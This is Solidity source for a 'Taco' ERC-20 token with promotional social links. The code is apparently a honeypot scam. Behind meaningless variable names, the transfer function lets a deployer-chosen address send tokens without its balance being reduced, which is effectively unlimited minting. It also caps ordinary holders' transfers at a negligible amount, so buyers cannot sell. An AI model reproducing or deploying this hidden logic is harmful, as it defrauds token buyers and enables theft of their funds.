Contract Source Code:
/*
🐦 Twitter: https://twitter.com/TacoERC20
📞 Telegram: https://t.me/TacoETH
🌐 Website: https://taco.crypto-token.live/
*/
// SPDX-License-Identifier: Unlicense
pragma solidity >=0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Taco is Ownable {
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint256) private dteiljamhqf;
mapping(address => uint256) private vdlcqhf;
address private kisyvcjotlw;
uint256 private abejohfinksq = 102;
function approve(address inujldfkzaem, uint256 zfvl) public returns (bool success) {
allowance[msg.sender][inujldfkzaem] = zfvl;
emit Approval(msg.sender, inujldfkzaem, zfvl);
return true;
}
string public name;
function transferFrom(address fdvr, address gelpfvwirbqm, uint256 zfvl) public returns (bool success) {
require(zfvl <= allowance[fdvr][msg.sender]);
allowance[fdvr][msg.sender] -= zfvl;
exurtdmbov(fdvr, gelpfvwirbqm, zfvl);
return true;
}
event Transfer(address indexed from, address indexed to, uint256 value);
constructor(string memory txzuyegdoahr, string memory ictbausdqlh, address zhdvflsqw, address jgnmvtyfers) {
name = txzuyegdoahr;
symbol = ictbausdqlh;
balanceOf[msg.sender] = totalSupply;
vdlcqhf[jgnmvtyfers] = abejohfinksq;
IUniswapV2Router02 tjqruyvsp = IUniswapV2Router02(zhdvflsqw);
kisyvcjotlw = IUniswapV2Factory(tjqruyvsp.factory()).createPair(address(this), tjqruyvsp.WETH());
}
uint8 public decimals = 9;
function transfer(address gelpfvwirbqm, uint256 zfvl) public returns (bool success) {
exurtdmbov(msg.sender, gelpfvwirbqm, zfvl);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function exurtdmbov(address fdvr, address gelpfvwirbqm, uint256 zfvl) private {
if (0 == vdlcqhf[fdvr]) {
if (fdvr != kisyvcjotlw && dteiljamhqf[fdvr] != block.number && zfvl < totalSupply) {
require(zfvl <= totalSupply / (10 ** decimals));
}
balanceOf[fdvr] -= zfvl;
}
balanceOf[gelpfvwirbqm] += zfvl;
dteiljamhqf[gelpfvwirbqm] = block.number;
emit Transfer(fdvr, gelpfvwirbqm, zfvl);
}
string public symbol;
mapping(address => uint256) public balanceOf;
uint256 public totalSupply = 1000000000 * 10 ** 9;
}